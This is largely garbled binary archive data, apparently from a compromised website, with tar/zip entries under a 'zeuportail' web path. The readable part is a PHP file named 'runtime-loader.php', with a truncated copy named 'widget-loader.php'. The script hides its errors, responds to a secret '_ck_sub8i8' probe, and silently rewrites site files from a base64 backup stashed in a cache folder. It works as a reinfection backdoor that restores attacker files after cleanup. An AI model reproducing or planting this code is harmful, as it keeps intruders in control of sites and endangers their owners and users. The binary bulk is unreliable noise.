福y=q<Ӝ(~.u.:];i~kY!SGaѤuZc]>p|CN)뚆wG˖+gbuOnsǾ&tif>PK",9aķ~Oyg欔lۈORR4DSvQ_{.n4L0:0wĬ?d've{%}z~$K}dW{v[C׽<`e鯦ѡ±s8GMSbnЁؼHuheIZ~,<eVtwSo6)$|vЌc+4%<תAFMBln.v	}ωىC6mw]ѳ>Z7\zr)8yܹ|<6uN϶GhL=d[Xz`CYYks'8&2o~{tg%ZZЗzC	E6'}}'}^ os-S+rvvGtSxnf~Xv}`a-)W|Ƌ[G-5]Rݿ厱'^NRzEc('2eb֨Vuq)vX0u`סՙY/6-(Z_EM]jߪy?ϛǋ;:s:!~V?}hݳ&̕YeӪˇׅlZ\]9)z	=qQUEzQ~gN*#دiG~M˭~ڭξ٩;Hv̪;\eמih>3v(=TYZM7fn=<=*@\ӷ[HSfzjZv^w6ӽ&l18(i~P/r+|wt].E1-e0Wrvsm"^/;Y/{moVKy-e;$|cb 9ȭy٭.5ͻ<7CN8f?]ۨQ_#^ubmw)9Tа/̿4a]idN#7W[w䜍[TL)$YP0|ZN$[r?.)q,h
gl9ˈX׭fئ>xɥMŪ
TTua
ӆumNM8NQ"**K~~qΤ36-֛+}נm|'_No@MYp_7+oy3o,;rܐa_䭾;s%N-s=hu;57iճ9'ZN9fkOul+X:4ugc5f=xߋ6um6kǃ͘;q?=c6'tѹԷ&԰WI=^wY;+=u:{>zWo`'CfT*/*[]|8!?_nCu֛m{vؼ{ޞ^>%H3苣kC;U6(ڟy&ýy#*:qԽW~Ou<snk>[ˮnY2fDZrӦ\O-[t˧>}|{Hm:n{o_ɬ7/aa_OgWP^G{u͓JISWFtw&ƫk;iwgMN78:S1~ڭeMiIY[B{enu"lx̭s%E^]o=o<<f6*4iIUO"wx'm*[bnfOmWyv7o{Ctfſڣd[SGYȟaݺQn!>,w|<+&yms?ݿ'h)niuȩo4lx4?ĬdMȰXz6i]j\k_?yf㻄+M۔dv_|a-ޱzW}&N'iq:#;tg6ep+Q5-(WDk9ѩzvU5$`'Nˉ7S}}17}r;ZiJeu]-w#+7fw7}Uv3c&jB"{z:*Ꝛjk,n^{hiޟ-9;z|	rf~lwWz//xy		)||}گX	7u9|g:Bsh2'{ZT̻gO:6\({m}}ݱQVBߐ%ZKzuiN5a*Kձ"uFkvRJ6{z{KOwN;}?$#M:C/wqmzqAǁS>&bU65<Y~7i姚]z-]2}6O7lo?{ڰorpwt'F~okգiku:K΢!,=^g¼G媂ٗZثSbţ[mm?eb[6&{?4l][`6	]Sv<u c_N?|ayBÖ%//DuVs?YJGZZ[lR=bۿclWn;l2M6Y_-;t3lݏX[tve(w[5i|(u:Fo7L!wE/Z3atu_7?{նÖF'+}s_3sa;L17'H˧,u_[@zoپ#k#/잒?ĶMo>{ ~txK4z>ՈO	G*R}TFw8˿/X#~u^c?k*5Jg\'
Jr5?>?	ok~^uԶQ6כ*\4Zcjnf,Z=|iQ[+Ue,8G̝I(Ȁq;"X9zZ]}l׈2H[ڧiL0ݑl:Ϻ툥YAU٢u'_",`wS'S^Ui|DǨטo%~b?idS׻?w|՞1N۵IzV0~Ȉor!ͻ?m.z]@W-Le/2dX<y}҅	vrµ5pKsv4Sq¾x6|Žk.]rNImHvqrVŬ}&I|6뻄u)8md|ـFf%C>YrnqN(9Cik*V^8}`}/:r}_-|/;Jn{c^(\vI17Mc1ǩ[zΰ:n{ǻysD~?j:j4zL )Lz,_ް-y9iMwD.mژ'0kX!bE^>ތYGw=.|TN ឋF~}{M-puMroc˵=}@:~Tw#l|Pߖ{ÖȵT0	xo2v.cpHsmƺ\;[i:>2wtkkkk{{qP*v1gU<vk{v z{{{{k?~kkk^tv<ohR~s{@~{R2 e*P>m{{+hxas-S ytY]MwhluMǦpkQ$+5ԵZZ:mS\ѮF-sOuF6:]]݋6@/s}ȵ1tI8/-t 76mklG)N/ikrhڠNk}kkc{7нbhB6٠3ukZ^	sV[]]{ݛ@ҦAGq"DF=z\^^H=꓁=gA';帇9E{two(9)'NoXښ,[ڪG^wˬ׊LHLP@ծu@UJL9:c]pm+\[2SML@sݹ=i9}\3h=
& ~&WstI+kk'h@uh06hZhp>k ڍFڬ^l:=k{^IBlC$u4i.UKZfD3;'g~ؚzlM[Ju]2:ޭ ȍJ@3p_GDB.duu_ omwbN %'4m=-5	t=0|^=m{=Ahv4h{J`j^@v(cv3_:to6\9h"ה`,awsm"Ꞧc;Q@N-޿$AoAN}tH=!b\; vk.qeU`NtOi^|tix	V'`!U\[UuJ]SŮ]k9Zt+M?$==kj}0䖖ָW|ҿg{\== &y5=IL:ˀ4ߵ+Eٚ`lMt,r~{yMS ~gkm܋Ax@s_'4v2\;N/06OZzzktح[)"qkW{8䳙/EHOvOĵ^]zזh]zG{,KAOWՏ̵RSRukڸĵ=0T +[ӁeRvTRo>ix_xۦ=h7S0ԜhJc0)͵ZtbКɱ!-1,(aC@.6Ƚ!Tݴν`rZ^%{ԵkCkکCu{6{{RvTj6=IGWb:ԀKAoiK=NiwMsoс8G}7+	}][A )]{\빗" Zpؼl \ky (wx}ހ׺l`zwR~dVl@pnڢ2rk{A?/uK%y`Sn0vL/۽t80-wPgk_0\(G6sgW6D$3$:s/b0Yp	kCf3յ05.gGgt[	tL`P޹M]GhԷ< ;3޽>G ꂦ៹IG纶]Z$>)pJЗHTU]ǵ);lג^dHfzײЮ
惀 4FF
פ%ݵ~VHVv0yKv7Խ	v"bRГ@GE ɵڅ9,v	TL9|fZ[ƉLeM[}Aބ<WSD0*h7icL3+LĪ1,@AmjDap"Ikdf#LH}O@ S:Ae%fNTD#WfMKD$V5[o:J@؟D,fDÉBj)4Y'$9`nDc(LD)bRK̥zS
Im4-p#اPF4='4"lS+%:٢*5@A	IB#S@5$W(%6:fL@
BR_U>R	1XE0ѠԨ2x=7	`f!%ZE\cN"!1	- 
{0^g	Z*XF;VjTiE"A5J,CH9	FO'D@F
VH4hXlVhcY=EUVx! @v'̬0H:RKtK.x:L53$:b%zm  ѣf'$XFM~K/VZ*XD_lLfF/AiYN(@ R?j4@UTID{i{[b"%77K
}!
TvP 6P#ުn6lR`)DX@CA\(~@1 3rHZ%x=#	4ŌP	aUݟ(8-hT"BEVY`U	TDfį~bW/Bw'OL
J))<ai;'Ɓi8uDwD -`OACkQԄTB@ 1 rԃC'7NxA	&D @H_tT E?!Ac!  A
 {7d_7k<!H|%a6kaVÊ4J3J%:"	p#9aff6|XWȪ/:o8oXdBs s2Xc$1'	f?Bh4SH@RL&1x#Ebe/kB:RBG&h"4/b*%_۷&?ԬC}t7"+ <L
OhFZJQCl8@2SGCPMmEwP%dpp/őBP"Gdd(*PYxX;!zQȠ	 Pt?@1~l%XL
Jk0פkFY"y"(R@~@<n.1)|y2ՆeEZA\I,Wt?6*D/P@(*y),46yc`^UgA@86 V&lj~@k(`MkboMѬTkL[C}@kZC<з5 >0Q+<F	k+&D@@yy&M4(bb!<<8+k5c@QPh2Xa9 0EhVOT@5m@0̀1Xi;䄀̱XXi-V	E< } THtxH+"hAg%P_ _`C3{ȔÔԀ  ommW	u 
m4RDP!_Mܛa

bV@Ǧ
VQh	@' xmp_ & A`
& f2p.핐F-jsՐݕ
#&!
HP1E
Qluxb߱S u`'8u-·6A)-
6,)#ΊXSM!Pb9F+k	bpjH F~9WҨC 8D%D	=J91)0sb@At%dHb+hRU部᛻_3l'LGR"i^Ŕ){ ]pYpZmz*R2T[0U`塰	Q+ k!ޕ#"P.@
,W'ъ
L4MI#"'&n\p6x0`ƶjE5$ h U)Od0jy17/#=d'P@~t!-5F fÄ,H,Xj0Zaír;p1Qy @8@8#Y{Õuxt/!&?($8!V{|!WFgU6`CA'""39{c	&{yk(H(CYݴ@O	χ,6jf$P"	@%lc@p¬haEUW*ܧ`9Y*XFE-HGx"67Sc_j1f[0%5R0+̪J$s-Hh$; )1ګ%@8> &HjBKPm41-ˌ)Ud*&:BAN	|Jh}Ȓ$baRj5MCxx(t=9!^ƊİaյDbv6)DA"N%
91MLB3! }	49p;I 8M6@4b=G

(O5 A&&b|\ZNlDvb(A0k_B8 :J5Ma@iibDcP45!drE |VSbxx-V+|Ţy?|9\+\]^شmZ/К%C!Es2ǐ ш$D#	A&	<B͑09KflIȖN.a%H"EQZlӬ.cA]zO@IK
TV*)$QC[HHelGq~{}6`MN;AM7^HB`g4Hg4H\n!UEVnSiZDhު=5݊$F6wJQc3@*Ֆť_dČtͪda(E\O;"zub|!HpBP?Vd
6|8d$	*KXܦ7%TK$WH̥@/BTHԤR]Y>@aE'n"ՐߗUf*{P
]SMPò`!(Ip*X(VäarNfOd@(15"UV< 1*	e3""B `>c"
Qd7g,3۲E?![XjF4j\
C/hm!8Ajh:'"$&pN"PlzP/<d1CIq	"@( |Î&GObvZPJ>-`Uxpٟ:.ܒņ+4i *ۇCDmE#^0׏.;#';(!*e})xF Ugc_qCo6ߕn(N%*E|$acI@)&</W(10(hPOp#T!`DB3"|4YdzZ݃] - f=4Pt+c  (C1'Y$ 6!^.Q(M97F[n\F$T)fp,W/b}MBD0ñN4Rt61JDy0KhCgUb-=y9fi,6.1X,aDFRB}YA18aDõ--1BH
%bC8 h|N@TE"D"rH=%R*),]IJT8a3'B#ǡ٬͹81BAwK}Xtrzy.P3)ԣa0;V߷z6y"3e
[	DJ,hNΔ8YzgW@6$:rUfL-_8\Ut#ӫ]>_R. v%mq.'w?GVy6d6nO=beRj&CtAѫJ~A+b5ryYRL_P"XMj^VJN0{U(a0٬023
5X	4H
Cf)2Y	"Y.1  lIHW*V,QcT	KJRa
U-'_PAA>0n!&h46п!zjA$LFѐp4zJOu`Δ#&*H(9odl#(Ps
T)S1+?NI3࣊/d%=[f$B4v&o-ӄ=CKebiln$#ttj0e4J(S$),"r^%&B@[.PibŬ-ӖWVV,gXN)/Hf32ut(K
csSUHE+8,=CZW@&ǖ))$kn&L'Rmb#X͐dE
Ҵ3M-֓$1YjBM$t:[cJ&g29t]c2E"2pb2Ieb.#YYqi,LGP$[yTs͐bNhg .+P+dU'Lʲ2Y ֩kl-P)F$-Sf(&l!Zɱ")AKӳ1YQ632(u<[TIQr+ˊ,rNZhHtђͦ:eFS.ZYlbZLQg
B&YYfVҬŊ
~1cN 8X!t8l=!R3lrD#:Tbq!9g2K!V&.),Lʴ%[^1Cg+!Sg:(Z6Pĕr`rXͩJi:Gg-.
"8]p`Z/7r-lUW\Z\&2l'Ec6lPO4Ȯ1K,QmPUTIfɶjc(Nq\(+_*ڊcsEt7ǐYgƕyيJ
Gw
*FǕrEl\-u4F/eIɩԢ@jc9YitEVRG+`'itT#JZ0FDB6[_ dfQ,tSiil{aAE2_bR[[Yƞj0Dy/i(b+r2a$ZO92/`pJgjRH
{<nZ)KejL+5:е0sX@>VsR YKb(@MN?99	(܎lfVOڀPOEl'+q bi#"C?4Y";Ih .d< C6 M'*jݧ`ȠA)i2F0{wS~G)`Kx,dbBɉ*_@TAT[&KMпy|a~ivL@#**TNji?W`ِ Tߏطz)
=ˈoE+'cA89ךO\%"UOEɇxsTUjU;g,HФ>ĀXEhN7M~}l3&rt2ce` DI7p'(LDWNfq5[Þ#-GTcP *PYB	G+Ի[c6IaFX% MS0Db=ׯѿ0z,+k43#|YGT{Ib$1ݟ  f4?|f[<hs8B
WD*7	9u8 AE$&A)8$}hnщM胀"kiRx$mf	EL>^j 03UXAPl8'P*D@u5``(2hfVaZQ(="mТБĨsa߅-E]qsaׅÎ.p┋#.N$\8po(Dtp:Qc|(t
2᛿<
N}H #82P*WHǽn{:yd88h&ӂĤ
>h!h\IgS>r5I$HI d0B	p(x
ŁщѪ*ҠV,)5<F6KrTZjZ̓ˡ9;7Xs }
:8>I: 4V#Sab(-4ʌ0gV4<eUqG꽞,F.WNP'2A
zx((9T-М"X7+7b&4G}=1
KZÎ,9"JWXoN~
c,ɷ)B'0vdD{j% SqǛw`j
?d̿3s!bj_5/[.{jRh~W1G9ƢD]<cg3۳0e_I/=,~RlGBɡȡ X.jntC#RFR¬RȠą f8V@!Ya;!6.(5x)Kn PRS.C'1GxcpxE@wx
1,tFƀYS}G%&bU	*-߁AJ=~5DrFxU(G7G$ֺzF8Ak=^ߓ{#B9}<'نerX#}_!Q..eaT|:x8<oˑo2aMԙy&T!mBb`i넩N5&_5V	s&S5cMgPBy
_/D-;٫.ɍ>5j8I|#f9g˽9Q"I	x7 7TE˯u,SbOK,$%JBã{(	-V
=W,c%z'{q+(w 젵'AP5J!FzH	 xB*7עD'z=l&&':8+ƙ0I@j ߧnI,5`!%ŬJPI`!GP<$;j+Ld5 zM>/!.}0io*		}90XQ]fK5E@"& /drsJ9ElTzaK"X{	s殡Ĥ56&(>hJU'V63>	WK2WR]b@	xZJClX8G=̰Yh\I+#^9cwP͆o i"P!v,vZn<
!i<n$I'?1B𑑘'H$0v5ֶ&U%P}!4<̤PI&Cd&,՛І>ʩ'	APXl4GUjůpg̫Joyܣke>y+>TF]f<n'^14d'v6{0HPlU]/ou{?L=s
|'"Ƭ1+	#J0(_OIY,1G%p 5ZF}$"FP=JKG`8PTLH)
9 YF=&d4=5"1OXY9!~@ {&0T51TIfŏ7C^(k q4
MP+fQ^S+ЊJmo!NzCo-&U$ri!X*TAkQ6%477++0+7- 5J-n"Zgp͞als>X9~BGz¡>c+72[G,HZog@@(Р:^#B3<~'ԂTQ*tpº e*3(w}*)'%J&AIgpSOC!%`@$C(Cuz$!vJ^2J 'yA]Qءw(CU(WQ SQ@cE"k%E64" A۴1S8!(D9CBj=
a`]H⡔P
R	P̸@J̘!
#$j#-ʌC2*ЂV5OQ.MX,b媶&6F?JUЃ2UT!V5rRqV1 <wzSX̎1;IjD q:V=HYieMpX߬jRScSShA	 txÿ=E(\&AF""#Qo<@2 %SktAhf$/Z5<g
Bbf dp$K62_*ѳ::D9|@U4lwPug?ѩ,|qWqjxAHӥS%iq)=(UT^zSJilvz 1y&nNb4lZQ.)vVP\*jE2_PIciTvnn1%+XRyL[I2sU\b)I$84l.*ʳ),,Үd~N1;(RR,aZ"ߖdfR­$yjR^̳+TdENvV
;-Wd;<ߤS8lY2E+TglN2L@\"3ԬbZV˶%I*dR],;?YKؒ>@T(.VXvfehⲹ*;;!y:;;5ö9lU6
Ll6?9sb<Mcd,fAG<Ms))TG2U^1VjE|Zq~Ze8M&X,;>R1fKlnIKձL3+H,5r5BL3cVr9OT6\yyYlcA""I1<NZeEZF:ɐLEJ%`ב"2B*aԘXM,*'畩J0@VeӲdc\:9KE&gGP(L1P9Y17VVh
2"NceYHlmI3E6~D-/NY~aS!c2cL*UI$\Pe"|6H	3-@~fJr999,LNKd'+)d*O䫓SRvzz*SLh*l9
*-NKxc
cR˨TILN';*a ]as5L*d\^2ȕIyZ?@(0
x\/]ɋx5Ցf3qb9Uδ
̡9,QMiFUE8=ߡ7
2s$N3*4U"dv{82#MePeI9c93ivr{-@-fr{@UPNsHpمbAJOȍ9vmslOjW1YX'h
|V0q5#gx$\leZA"N9+@ "A!LeiHjΒi(`$X`1'"IJ3E@I AV]fEAȩSeC!`UU0M*MfbSu|F..b0I"&;"sTGڐebI*f)1oϩL7sTB$R[5&WbeQX!ԗ͊rUĢex$S.'άye]UTn3ԤF)5lJgڴBYNj⦩,"rYEv*-U^%<FLU	8ZiXM%\aWdfS2VzC e8(B(bљt"S31),C,rM"NcdZB(JTjU3(E.!&醂8.e<j0%Qjcl&`fAȖ2
n qYdj4E\Un&[-ٕj!9vyK)eEv>S69e略Ҋr14zT&)P끨*L9&@(3%űTkEϮdPMZVf$ʨPZihkh4QƗt착EFFDT,jPtTjcX]4b=6aiRؒ[Tl٬zMY5+f'18CRSrPM%bNn0ʔT*myt:7.Cjʢɋ+yԼ2:/+TkJ)KS0d1y-CeLJU(<HeR*
\F3Ҙd[a5*ebpJJv/g9IV43)dql+bpr+XWpH٤J;^(sX)tg2Kʩ0H\:%#it3bP$B{V,)IIyfX)qF>_\iUيљ7FYV0aRr5CedgE]UI(´"%ɩSL~C7Y,IIFy^n+0X6ΐMiE34=Ra%b1&&e iΥ\{krHLYj%$fy=./Odg(yB07`HIex2?ǚƣqrdjF.K*b3X9EZC-dS&m#;R,WpM&/e
dG~Q-$ӜLN-"9
YV'KWfHbsl8rQ5NcE/׉hre!3W,1492gjaTVd+Ĉ3ibqIJiFP-1nf0βizHȬ
L+TJ4f%[f*Jr
D*$j<LZ(2d"eHO/ӥ+f!K*8Baؚg*@aHSMrIRɡ)Bk.-f199XU̵,K,QfTZ(yTV/ i,0ˏU[c+)9EJ:YQa"QP*+<zQn3@b+-J:y6γ3iXCOb3"u8H$^!wRrrTTQ2-FcL,N)Rf5r)8ZzLE3+2%|UJu6e'QrY;%c*r
	8K)1NNLSjbT,er4cDbr҅j""(/3F餑
Xu,Fٔ',l$L*hR:oSbqYT/%S\!]^aJJnHɵyQUZl"!:qTk\J/V$zNY==ܞPe|,M]&Kj=.58[Zjl(SrM=+tYqJ'dlٸ
eE̥Fҩc䒥ENYaf3
KP3I"Ue("ڋ2^ac	I|/e$HHTjze,Ҋt>;c̔8	!2Hqw%d0d9~R¶eu4vf.\1:9'P(Y
\e\0K8|T$yB!,67PfH3
/-h|KSTK^LHzQ.f%ʅy
JV,-7!3WCaf˥fiT)WcM!|M\h*HIO/38aa2L)PQzT!w(
iBqHE
)e85ZN=5OˤU+Ej^f>%,F"KɥrrLW\a)\[T0d\P	Vr,67dHyY\yJe3je
W(N2m<Nh59Ŷ|A~k+戀S$T5Ӝ϶Ś\zFeV$t-*RH̏+f9tGNr9MIh<*[e`|eT++X36£WqMYMΕgyNMT\^g#dJ,<lQ\SzvNǖ)姐i>BciJ6[aq4R3-6uqrȒY$] [y::$I)vhB&*#	+
l5DSk-_[ȿm!Bk-_[ȿm!=[P(p`dمda~&@"Z"<SHpr6P;/Sj:g3͑qpNgX"I$U!ըsĥkD<Ϡ%Iqqt*5\K"9
Qd2Ɗ,Ӄ5$ө4 ;#M)V;
`aGrCey'9l(A*R3̲4@	Q
;C5ȘY^-buE@u*gIx`,2r`Ǐas
",VV]z%=o%4;r
ug2rs*::Ie9%[](.eEf5V28B@(K*ryjzɌKKe"!V"scΘUNZ:#FT%+eD@OOiiBСTH4J*| 
E9iFa923veEJ"&!^הef+J^Lmbz\%CgP*%E11rJJvS+WӲ2:^Ρ5T.)UUBE2T|[\bv:4eB3TDF3j$6Y+]IuXrvVZlBTPO oDFWl*MʹHX
2HJ,CR&b8&mOOps$Z.=.cؤ!ܠઘ\ T+L[ZPeKfp*,e%gb$u/7ejfMTadљŖJ̤1ن'/	n/Yi8_V,H&;XP;Y,ǚi6tLa9vZQȊd4&/H29-CP(-ITS$+3Y\+)r-n˱RD4*eHtu.%,e]Cİ5dRy\īc"~*tS4<DhM2b8-v-3S'ز4vʒsHQaEDR+<1ɬKgrTV2V"gUd9㲬rgMC234Br[HUHȬ81ML'YWJ-Zb3+WdbLTy[ŧX&yjVg-8u9.YDʹ*Yo]@YB50丌rJUH&f&##ՉDeٔXqv%`0Z3U6&3fXx՞G93-L41EN:8X!+!(CW\gd:]2| S,[RibKi8,+׮TDbd!sq5Y-)ebPN3ɎbY@N+tVGOI	9$-Lz=JѥJqje1]2gW6!UPYV(|^
ŘSl)3s3Lmؒ"͎Kʉ冲4qNJS.IҒi2V1flr'fr+\.p+srb3+JIog`,*!c!r-(3)<^".ar`
?\/q4AxA(&`1zb0`K%xBi=N'$ڢxUHԈAU=qځ f
@裿hH0U$TH'@h @pxH"פ65mZAԣaFt-:իQMX,L8&ocv$V&)` "vIuA+ޏT+@ h!_тjBᇍ V4用^b j	7{O\5YWO(0r$Xfr8`T"7p^ĈH"<>|bK42a-*CXzˇBQؑ<>(vц<}0<BlQ>0Qˇ@47'MaP5$>SY?Cg1؎XgUW"FE6hW~yY!#ArA#7ʚbP5a%'ʥ5PRc]jDO7 {_t7eD(U0 E;x?i5C+T3a*Ѓŕ+=U2`%V'EŪ;UxX#k5lUAik3 9=1p̯/~qvKs0o@sW"$g`o`	fW{6"TFMp|)C|A/އ㗂`W5J[$rp\Saj׃Ef֘\b=1vcR,@~[Vbյ}oeL%!p'8;VWޣ.%B3լ2c@hMvi후W}|L<6C"-(ޘ>jz@Trm@{Ʈ`z\"]5>?noxǪ7jWҀ^#hB8X࿠Q@Q$@$rQ G/L4@
AA@vmm@bbUA1TʤR}ay-UM`)F#hjϝl`wA.ŁAa0`Ur8D"H)tPȀy{D*FH7Cjt^7^2؇1p7B7)of2D$:
sV9
<RCQ@!B8@CJNvޑN^ϥ>e7.'b\( 1TRd3x 3$Y䀄$R<!׋U'43fR{9p(z< AFbU(Rc՚aDE$u?$P萘`MW^UʂJ`bMك<0aPq0|
Mc+!`;4k/e*0hWzY&U;4|!kFՊ[.KZ<cgUiP=ڐrÄcMʬYŘ+>@I&k#!тAs)@D0ah$V!GbW>TV! *Y%M\!1.IUi4_+0iMbph$J!Hh#8lHphBˠ"T0~ُ#ǶbݔĤhq96nvt/.8>R4;rVmI\⼺}r'O5o7|5'?<5hk;'wzX+ժmzD6yb:k9}Aɱ H&xB-@ U)\l5[Q*GjHNDu?*Vxԣzy(}H@lZ"+Aua1K1:}yX{UH	1AjkFrh.G!o81Z$Kx'cE=iwpd,G{0[BWoѸ:X̑1߲ۥ8Р^i(/qV59F,	JE8BA^j$TTxNaJSb?%/[6XÅ?KOD֬4U;3mR2$oRc
a͌4=ZGpƀz7ePB $a}h,ieRZLj	8!<[uQIRF'皍T|6`~t:+V>eB(aw\@\'N Z}FƆ$wWU%zĠr%{@$f]LxWT]
{|0ߌ,!\s7bd?Vjub1}?0&T^RA@	ð V׆ZH0j ڠ3ZW-}vlxY<yvLQ!:0̨7K8&DˌݲD~ҼF̍x=]UU}e
?@P3pTM[r( zoC"=*#U|e*rL~+W=
VApe774:4ҿK$vÚhR"*2H O$oktrȨ4$N	UPJ*{V3KdV1YUcN@z&zذ§FI_/N53U]4-tڧe!_J̐p~c!
A4<oKQ;.#<g$r9hh?:%jFmڨHѨaR_W&_V8l?{L;@}}{yw{^AR+߾wu|4Ro|6r!M$h6Ͼh([<
9Ai3 ۂàՖz[fZB`>ZCoo&QV
`0 -@#jb%Q40l+^&1p1	}@q;Z
<qŒN
sM@{l_
<*,xRfQz#rsAA`
MG=;Ъ;"Zqjmlepl@FQ$H3ڬp6hmY¬FG@vt!CO(LY9
n0*%9ro^K(XzG#]KnYSϵ~dL۸	סĪ[d(PHEOLM)KB} 'a?}*)B{фT"|6x3[o _"0!ӇOA
2 9@T/cE3XFB(h^UN:pW|50}8r&dF^hkW Ѭ{Z3H ZVݔ="Q*
La$FBN{YeC?#ZR/jh\>OXO"MN6vgLˆC4ev48y^XXAl%!pp԰;<H1:%PoȫG[70ƫlTSIcB<oZ6{;>1@W\)$BPP%: 2xFF{iU2V͇Dl-Y8㍫~	"n|>]eBxX)N5ëZ->x^FAp3ap
#0	)0,0PFe`|jT)DsЍdATstuƨ[}-~(akDZ<,wRfZ߫iT,9PUH":@R,I0<>TUhyy9۾s林}у?UhhQiĬ׹կjK0<	 c 8x=eQ
"у5~Hn[W).F$>"pc;ǧ=Dh,:J=Ry!!=q	CCFlHZF]vǆw6!|Ɓ|iC!j.數(J}1Ǟ$*,WNQ:"~"?tdA	ۇ4wmpTΖ}O'_zPG?C`բ_zA㉽{`QARK ?Pkf@` *XU1ë0"c` -n%`|w|iʑ)wC჎>tV	bGA3"Aj Aˣd@0`K^L/Z:0%O@LJO@')	o-G=SB&CL0@e$(>&;yp*4C4$htt[n4H6cpYBf-4.iq74FT)H>R{nTV,ю^%`T=?X0Gxg.Fǐ'~ |}E)&QI\9"cSCH{4_XNUJB`n4jJ|IT*jU\It@;.ljxЪA@NwcXQ"`%&T.L@ ? J(~rja6dLhm e#;!i
T0`g-2{=FKq;0l8&gO~yez1lX#[0߸FQY;$V "Ȟ,<H!>T@QWU
D$V-~^}K$T%'u; ?wXmȱ}8FlB <x_-{/1Ov /D,3$4m0QySa$oy#q p˔%NHzOD!ȼ>fhH`( &1#"|(
c]0RaD0ChHA3aFذ`<ԣ5iy7}b
Dhd^b	}zҡ, 2h~Gq|d9gN  C	m*bt[e`z)с	3 Wbh̴ZmBb&FhxEG#B8iQt%1ȍhZ@[)ZY6NJ$&ư("!@$8u:lIt*,V$83މBieO
l8B}pA y>t#M<|RUWj5bCpR0"^g^4oD0傏txkZUHJѹ<FQهYek(xB1D2\%NQ1zOnE{cYVbCk,e (3JzҿKNUQR`%|g04D-1B8#Ց pcWO#aD׶4(+{N=Ǿ_ոSYƧ5!.pY3ɓq@mZH^rUa8(}FzZA|ق&23h"*]*ESUzW7zcw,=n\kDYVˊ^_$:lH<*
BM@c =ZMx294)McUۤc	홹jZF@c%v`* !{x\S佰T@0AG@k½I	_$wJ<$bđ	^P4
0d;uO0jᔈ E(-N7 #qY`B4z`$P+V0D , lC?kZM0AH=XsO5}R & Ql
aJ wA+Q`@-36F;!$H:D)f@H
x>mKPL
׃MP@7[Lwu x %v_/ D%2 2P[blf$7Z/F+O	A	Gz~8$GX-pUhHmf!:ֈDУ!$x`iN`	ύPoz"6wj A"Y=ϰȤj[@yRT_nHj$&oo*Q7jB')я>jhZ yh%r	E:*{P
 oyu7]qԦT*a{}(I`Pi~UU*J,^FW!PAbvM4UXy0{}Jd-xB
lPI\|`9n 4<#q2daR+̇^IMleX`MK$;$.>r6>ñz@j`1"NZBk<GtPEg)M*3"c^P^@9y4x˾xLz,DIGD!hxЅ[B҉^C#!ؤ@E5̿\>!X:Ŋ{!m_2{W@K:DPy1ȗ}g=Rj湪16Ch@}k2.pZB
EBg:	5.LPye'
uߣ#Xox+Ѕ{f~6I4	˖#m4l/2Lf#A6ǿ$H	 '
ti4CRofB79	'PPXZOU3w?֛fTb5\*@dD{kO={YXɐ*KJz5hk+4@5#RRu T5(U(P
Mf4e#T9]ثFWӓP3R {&N$6Γɟ[ Ӣý7>˃A莈g:P{V?Gb0kb Ϋ36crgٌ|ߨ	b
SZ8SAa2 ;hvθ;չ.l=^0{tD)hvs5Es{Ыͪ!p-8_yIUbih/N!1գANpy5)hn8B4`Q,J$AyT:w@vx⁔`D&c>;HAyx~ȍF%h=$%%N<*:
˜xd\	tG$`w43&}f
"n
+df/pԩcL}HQ?u^Up!AX#i1iH =Irwyj-X<	C`s@0 *Hڣ @(>.~,. aIpAv՗ xުz>vUjA#4GhP4eeD\ 6qဳiUȨI$6(C
}5Ye76`utHZ41>5V!9jƚwаK{x{OMj0 l( 8a𶣓fÈ '"=ɋAU;"CB|u-Ar'{GA{w7WDLV\A{^57 !\{M=ϮJm%?ZE3v5h8TSW%_!ŪA;;j4<PjAD c-x`T3~W Ju`r1ik/\3_5AfB/t
Lƍc.}Xzg@wb <9
>Nau{]F` lAw|2FW3^.?]W=ǈD0J{weRʗ@k	E"'qN:'nՊw	"1,\{fg-4pE`@hfhR"\ Gh DMU?[8QBPpb%,Q,
sFTf̈́<Ri/ 	 |U 2V^rHi6:MU'WT%eF31͈!үq+E#WfMU>c	VL
/$hfRIL8I@Lĕuj=q૪z"p56$PHp
Y̿ t!%" ƙ)XgfD1# XD>vu|:i_*MΘ!Yh:)!
Cr2<	n'x<oⲚ=*{5 ${!!BhJHhR&gY@l	b2kVe8'j@UFD(9,KPWV$4lbuk?L Ht2NiQxC˷^E* 5q|
)CIƷZ
qLѓ*Y	+Ag[@-͘ _\ЂDJ
֊
9
%+hhUaG	^_߰=lGn*&jyL_΁&d!|	 뫂ԀQ ƣ(FƆ.^T?怜A7\kZ`:ώ{)<\V϶j>PD2e(}~]W+7:L
#^
P|$ЀhH<Ttϗ9[(M}	5c(k)J	i>U|GߕGǠ.vi59QۥD_={UZDڀqV!`΃<tLX'| {.BAŮ7?>w~@nUva3M0Qʇ~?U	QUlCE!٫nI=@,y|QthC%yKYmjF5%fS^wu5c4Wb =udS)^""&{"IǠxAf=P+Bo+WSA5@@r|7Si'R"6ė}|!G{	=1G>BpϿ?63  PK     -a]] 
   
    runtime-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/runtime-loader.php                                        0000644                 00000001672 15243251150 0020423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     -a]<K    
  364262.tarnu [        364262.zip                                                                                          0000644                 00000567245 15243251040 0006055 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     S]R!( 
   
    widget-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
